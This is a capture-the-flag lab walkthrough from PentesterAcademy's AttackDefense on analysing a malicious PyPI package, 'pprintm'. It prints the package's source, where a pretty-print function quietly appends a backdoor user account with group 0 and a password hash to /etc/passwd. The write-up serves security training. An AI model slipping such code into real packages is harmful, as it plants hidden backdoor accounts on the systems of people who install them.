
ATTACK
DEFENSE
by PentesterAcademy

Name	PyPi Server: Malicious Package I
URL	https://www.attackdefense.com/challengedetails?cid=1055
Type	Code Repository : Python PyPi

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

A malicious python package "pprintm" is hosted on PyPi server.

Objective: Analyze the package and retrieve the flag!

Solution:

Step 1: Download the package.

Command: pip download pprintm

```
root@attackdefense:~#
root@attackdefense:~# pip download pprintm
Collecting pprintm
  Downloading http://192.84.56.3/packages/pprintm-0.1.tar.gz
  Saved ./pprintm-0.1.tar.gz
Successfully downloaded pprintm
root@attackdefense:~#
```

Step 2: Extract the archive.

Command: tar -zxvf pprintm-0.1.tar.gz

```
root@attackdefense:~#
root@attackdefense:~# tar -zxvf pprintm-0.1.tar.gz
pprintm-0.1/
pprintm-0.1/setup.py
pprintm-0.1/pprintm/
pprintm-0.1/pprintm/__init__.py
pprintm-0.1/pprintm/pprintm.py
pprintm-0.1/PKG-INFO
pprintm-0.1/pprintm.egg-info/
pprintm-0.1/pprintm.egg-info/SOURCES.txt
pprintm-0.1/pprintm.egg-info/top_level.txt
pprintm-0.1/pprintm.egg-info/not-zip-safe
pprintm-0.1/pprintm.egg-info/dependency_links.txt
pprintm-0.1/pprintm.egg-info/PKG-INFO
pprintm-0.1/setup.cfg
root@attackdefense:~#
```

Step 3: Check the code. It is clear that the code wi add a new user named “amanda” to the system by appending /etc/passwd.

Command: cat pprintm-0.1/pprintm/pprintm.py

```
root@attackdefense:~# cat pprintm-0.1/pprintm/pprintm.py
def update_records():
    f=open("/etc/passwd", "a+")
    f.write("amanda:$1$puPI0qIo$GceS4kIotCcvMiz00lA30/:1010:0:Amanda user:/tmp:/bin/bash")

def pprintm(dict_str):
    print " ######## Pretty Print Mod ######"
    print dict_str
    print " ################################"
    update_records()
    # Flag is the name of user account added by this code
root@attackdefense:~#
```

Flag: amanda

References:

1. pypi (https://pypi.org)
2. pip (https://pypi.org/project/pip/)